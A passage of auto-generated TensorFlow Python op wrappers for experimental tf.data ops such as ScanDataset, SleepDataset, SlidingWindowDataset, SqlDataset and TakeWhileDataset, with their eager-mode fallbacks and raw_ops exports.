for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalScanDataset", name, _ctx._post_execution_callbacks, input_dataset, initial_state, other_arguments, "f", f, "output_types", output_types, "output_shapes", output_shapes, "preserve_cardinality", preserve_cardinality) return _result except _core._FallbackException: try: return experimental_scan_dataset_eager_fallback( input_dataset, initial_state, other_arguments, f=f, output_types=output_types, output_shapes=output_shapes, preserve_cardinality=preserve_cardinality, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_scan_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_scan_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if preserve_cardinality is None: preserve_cardinality = False preserve_cardinality = _execute.make_bool(preserve_cardinality, "preserve_cardinality") _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalScanDataset", input_dataset=input_dataset, initial_state=initial_state, other_arguments=other_arguments, f=f, output_types=output_types, output_shapes=output_shapes, preserve_cardinality=preserve_cardinality, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("f", _op.get_attr("f"), "Tstate", _op.get_attr("Tstate"), "Targuments", _op.get_attr("Targuments"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes"), "preserve_cardinality", _op.get_attr("preserve_cardinality")) _execute.record_gradient( "ExperimentalScanDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalScanDataset(input_dataset, initial_state, other_arguments, f, output_types, output_shapes, preserve_cardinality=False, name=None): return experimental_scan_dataset(input_dataset=input_dataset, initial_state=initial_state, other_arguments=other_arguments, f=f, output_types=output_types, output_shapes=output_shapes, preserve_cardinality=preserve_cardinality, name=name) ExperimentalScanDataset.__doc__ = experimental_scan_dataset.__doc__ ExperimentalScanDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalScanDataset)) tf_export("raw_ops.ExperimentalScanDataset")(ExperimentalScanDataset) def experimental_scan_dataset_eager_fallback(input_dataset, initial_state, other_arguments, f, output_types, output_shapes, preserve_cardinality=False, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_scan_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_scan_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_scan_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] if preserve_cardinality is None: preserve_cardinality = False preserve_cardinality = _execute.make_bool(preserve_cardinality, "preserve_cardinality") _attr_Tstate, initial_state = _execute.convert_to_mixed_eager_tensors(initial_state, _ctx) _attr_Targuments, other_arguments = _execute.convert_to_mixed_eager_tensors(other_arguments, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] + list(initial_state) + list(other_arguments) _attrs = ("f", f, "Tstate", _attr_Tstate, "Targuments", _attr_Targuments, "output_types", output_types, "output_shapes", output_shapes, "preserve_cardinality", preserve_cardinality) _result = _execute.execute(b"ExperimentalScanDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalScanDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_set_stats_aggregator_dataset(input_dataset, stats_aggregator, tag, counter_prefix, output_types, output_shapes, name=None): r"""TODO: add doc. Args: input_dataset: A `Tensor` of type `variant`. stats_aggregator: A `Tensor` of type `resource`. tag: A `Tensor` of type `string`. counter_prefix: A `Tensor` of type `string`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalSetStatsAggregatorDataset", name, _ctx._post_execution_callbacks, input_dataset, stats_aggregator, tag, counter_prefix, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_set_stats_aggregator_dataset_eager_fallback( input_dataset, stats_aggregator, tag, counter_prefix, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_set_stats_aggregator_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_set_stats_aggregator_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalSetStatsAggregatorDataset", input_dataset=input_dataset, stats_aggregator=stats_aggregator, tag=tag, counter_prefix=counter_prefix, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalSetStatsAggregatorDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalSetStatsAggregatorDataset(input_dataset, stats_aggregator, tag, counter_prefix, output_types, output_shapes, name=None): return experimental_set_stats_aggregator_dataset(input_dataset=input_dataset, stats_aggregator=stats_aggregator, tag=tag, counter_prefix=counter_prefix, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalSetStatsAggregatorDataset.__doc__ = experimental_set_stats_aggregator_dataset.__doc__ ExperimentalSetStatsAggregatorDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalSetStatsAggregatorDataset)) tf_export("raw_ops.ExperimentalSetStatsAggregatorDataset")(ExperimentalSetStatsAggregatorDataset) def experimental_set_stats_aggregator_dataset_eager_fallback(input_dataset, stats_aggregator, tag, counter_prefix, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_set_stats_aggregator_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_set_stats_aggregator_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_set_stats_aggregator_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) stats_aggregator = _ops.convert_to_tensor(stats_aggregator, _dtypes.resource) tag = _ops.convert_to_tensor(tag, _dtypes.string) counter_prefix = _ops.convert_to_tensor(counter_prefix, _dtypes.string) _inputs_flat = [input_dataset, stats_aggregator, tag, counter_prefix] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalSetStatsAggregatorDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalSetStatsAggregatorDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_sleep_dataset(input_dataset, sleep_microseconds, output_types, output_shapes, name=None): r"""TODO: add doc. Args: input_dataset: A `Tensor` of type `variant`. sleep_microseconds: A `Tensor` of type `int64`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalSleepDataset", name, _ctx._post_execution_callbacks, input_dataset, sleep_microseconds, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_sleep_dataset_eager_fallback( input_dataset, sleep_microseconds, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_sleep_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_sleep_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalSleepDataset", input_dataset=input_dataset, sleep_microseconds=sleep_microseconds, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalSleepDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalSleepDataset(input_dataset, sleep_microseconds, output_types, output_shapes, name=None): return experimental_sleep_dataset(input_dataset=input_dataset, sleep_microseconds=sleep_microseconds, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalSleepDataset.__doc__ = experimental_sleep_dataset.__doc__ ExperimentalSleepDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalSleepDataset)) tf_export("raw_ops.ExperimentalSleepDataset")(ExperimentalSleepDataset) def experimental_sleep_dataset_eager_fallback(input_dataset, sleep_microseconds, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_sleep_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_sleep_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_sleep_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) sleep_microseconds = _ops.convert_to_tensor(sleep_microseconds, _dtypes.int64) _inputs_flat = [input_dataset, sleep_microseconds] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalSleepDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalSleepDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_sliding_window_dataset(input_dataset, window_size, window_shift, window_stride, output_types, output_shapes, name=None): r"""Creates a dataset that passes a sliding window over `input_dataset`. Args: input_dataset: A `Tensor` of type `variant`. window_size: A `Tensor` of type `int64`. A scalar representing the number of elements in the sliding window. window_shift: A `Tensor` of type `int64`. A scalar representing the steps moving the sliding window forward in one iteration. It must be positive. window_stride: A `Tensor` of type `int64`. A scalar representing the stride of the input elements of the sliding window. It must be positive. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalSlidingWindowDataset", name, _ctx._post_execution_callbacks, input_dataset, window_size, window_shift, window_stride, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_sliding_window_dataset_eager_fallback( input_dataset, window_size, window_shift, window_stride, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_sliding_window_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_sliding_window_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalSlidingWindowDataset", input_dataset=input_dataset, window_size=window_size, window_shift=window_shift, window_stride=window_stride, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalSlidingWindowDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalSlidingWindowDataset(input_dataset, window_size, window_shift, window_stride, output_types, output_shapes, name=None): return experimental_sliding_window_dataset(input_dataset=input_dataset, window_size=window_size, window_shift=window_shift, window_stride=window_stride, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalSlidingWindowDataset.__doc__ = experimental_sliding_window_dataset.__doc__ ExperimentalSlidingWindowDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalSlidingWindowDataset)) tf_export("raw_ops.ExperimentalSlidingWindowDataset")(ExperimentalSlidingWindowDataset) def experimental_sliding_window_dataset_eager_fallback(input_dataset, window_size, window_shift, window_stride, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_sliding_window_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_sliding_window_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_sliding_window_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) window_size = _ops.convert_to_tensor(window_size, _dtypes.int64) window_shift = _ops.convert_to_tensor(window_shift, _dtypes.int64) window_stride = _ops.convert_to_tensor(window_stride, _dtypes.int64) _inputs_flat = [input_dataset, window_size, window_shift, window_stride] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalSlidingWindowDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalSlidingWindowDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_sql_dataset(driver_name, data_source_name, query, output_types, output_shapes, name=None): r"""Creates a dataset that executes a SQL query and emits rows of the result set. Args: driver_name: A `Tensor` of type `string`. The database type. Currently, the only supported type is 'sqlite'. data_source_name: A `Tensor` of type `string`. A connection string to connect to the database. query: A `Tensor` of type `string`. A SQL query to execute. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalSqlDataset", name, _ctx._post_execution_callbacks, driver_name, data_source_name, query, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_sql_dataset_eager_fallback( driver_name, data_source_name, query, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_sql_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_sql_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalSqlDataset", driver_name=driver_name, data_source_name=data_source_name, query=query, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalSqlDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalSqlDataset(driver_name, data_source_name, query, output_types, output_shapes, name=None): return experimental_sql_dataset(driver_name=driver_name, data_source_name=data_source_name, query=query, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalSqlDataset.__doc__ = experimental_sql_dataset.__doc__ ExperimentalSqlDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalSqlDataset)) tf_export("raw_ops.ExperimentalSqlDataset")(ExperimentalSqlDataset) def experimental_sql_dataset_eager_fallback(driver_name, data_source_name, query, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_sql_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_sql_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_sql_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] driver_name = _ops.convert_to_tensor(driver_name, _dtypes.string) data_source_name = _ops.convert_to_tensor(data_source_name, _dtypes.string) query = _ops.convert_to_tensor(query, _dtypes.string) _inputs_flat = [driver_name, data_source_name, query] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalSqlDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalSqlDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_stats_aggregator_handle(container="", shared_name="", name=None): r"""Creates a statistics manager resource. Args: container: An optional `string`. Defaults to `""`. shared_name: An optional `string`. Defaults to `""`. name: A name for the operation (optional). Returns: A `Tensor` of type `resource`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalStatsAggregatorHandle", name, _ctx._post_execution_callbacks, "container", container, "shared_name", shared_name) return _result except _core._FallbackException: try: return experimental_stats_aggregator_handle_eager_fallback( container=container, shared_name=shared_name, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if container is None: container = "" container = _execute.make_str(container, "container") if shared_name is None: shared_name = "" shared_name = _execute.make_str(shared_name, "shared_name") _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalStatsAggregatorHandle", container=container, shared_name=shared_name, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("container", _op.get_attr("container"), "shared_name", _op.get_attr("shared_name")) _execute.record_gradient( "ExperimentalStatsAggregatorHandle", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalStatsAggregatorHandle(container="", shared_name="", name=None): return experimental_stats_aggregator_handle(container=container, shared_name=shared_name, name=name) ExperimentalStatsAggregatorHandle.__doc__ = experimental_stats_aggregator_handle.__doc__ ExperimentalStatsAggregatorHandle = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalStatsAggregatorHandle)) tf_export("raw_ops.ExperimentalStatsAggregatorHandle")(ExperimentalStatsAggregatorHandle) def experimental_stats_aggregator_handle_eager_fallback(container="", shared_name="", name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_stats_aggregator_handle """ _ctx = ctx if ctx else _context.context() if container is None: container = "" container = _execute.make_str(container, "container") if shared_name is None: shared_name = "" shared_name = _execute.make_str(shared_name, "shared_name") _inputs_flat = [] _attrs = ("container", container, "shared_name", shared_name) _result = _execute.execute(b"ExperimentalStatsAggregatorHandle", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalStatsAggregatorHandle", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_stats_aggregator_summary(iterator, name=None): r"""Produces a summary of any statistics recorded by the given statistics manager. Args: iterator: A `Tensor` of type `resource`. name: A name for the operation (optional). Returns: A `Tensor` of type `string`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalStatsAggregatorSummary", name, _ctx._post_execution_callbacks, iterator) return _result except _core._FallbackException: try: return experimental_stats_aggregator_summary_eager_fallback( iterator, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalStatsAggregatorSummary", iterator=iterator, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = None _execute.record_gradient( "ExperimentalStatsAggregatorSummary", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalStatsAggregatorSummary(iterator, name=None): return experimental_stats_aggregator_summary(iterator=iterator, name=name) ExperimentalStatsAggregatorSummary.__doc__ = experimental_stats_aggregator_summary.__doc__ ExperimentalStatsAggregatorSummary = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalStatsAggregatorSummary)) tf_export("raw_ops.ExperimentalStatsAggregatorSummary")(ExperimentalStatsAggregatorSummary) def experimental_stats_aggregator_summary_eager_fallback(iterator, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_stats_aggregator_summary """ _ctx = ctx if ctx else _context.context() iterator = _ops.convert_to_tensor(iterator, _dtypes.resource) _inputs_flat = [iterator] _attrs = None _result = _execute.execute(b"ExperimentalStatsAggregatorSummary", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalStatsAggregatorSummary", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_take_while_dataset(input_dataset, other_arguments, predicate, output_types, output_shapes, name=None): r"""Creates a dataset that stops iteration when predicate` is false. The `predicate` function must return a scalar boolean and accept the following arguments: * One tensor for each component of an element of `input_dataset`. * One tensor for each value in `other_arguments`. Args: input_dataset: A `Tensor` of type `variant`. other_arguments: A list of `Tensor` objects. A list of tensors, typically values that were captured when building a closure for `predicate`. predicate: A function decorated with @Defun. A function returning a scalar boolean. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalTakeWhileDataset", name, _ctx._post_execution_callbacks, input_dataset, other_arguments, "predicate", predicate, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_take_while_dataset_eager_fallback( input_dataset, other_arguments, predicate=predicate, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_take_while_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_take_while_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalTakeWhileDataset", input_dataset=input_dataset, other_arguments=other_arguments, predicate=predicate, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("predicate", _op.get_attr("predicate"), "Targuments", _op.get_attr("Targuments"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalTakeWhileDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalTakeWhileDataset(input_dataset, other_arguments, predicate, output_types, output_shapes, name=None): return experimental_take_while_dataset(input_dataset=input_dataset, other_arguments=other_arguments, predicate=predicate, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalTakeWhileDataset.__doc__ = experimental_take_while_dataset.__doc__ ExperimentalTakeWhileDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalTakeWhileDataset)) tf_export("raw_ops.ExperimentalTakeWhileDataset")(ExperimentalTakeWhileDataset) def experimental_take_while_dataset_eager_fallback(input_dataset, other_arguments, predicate, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_take_while_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_take_while_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_take_while_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _attr_Targuments, other_arguments = _execute.convert_to_mixed_eager_tensors(other_arguments, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] + list(other_arguments) _attrs = ("predicate", predicate, "Targuments", _attr_Targuments, "output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalTakeWhileDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalTakeWhileDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_thread_pool_dataset(input_dataset, thread_pool, output_types, output_shapes, name=None): r"""Creates a dataset that uses a custom thread pool to compute `input_dataset`. Args: input_dataset: A `Tensor` of type `variant`. thread_pool: A `Tensor` of type `resource`. A resource produced by the ThreadPoolHandle op. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalThreadPoolDataset", name, _ctx._post_execution_callbacks, input_dataset, thread_pool, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_thread_pool_dataset_eager_fallback( input_dataset, thread_pool, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_thread_pool_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_thread_pool_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalThreadPoolDataset", input_dataset=input_dataset, thread_pool=thread_pool, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", 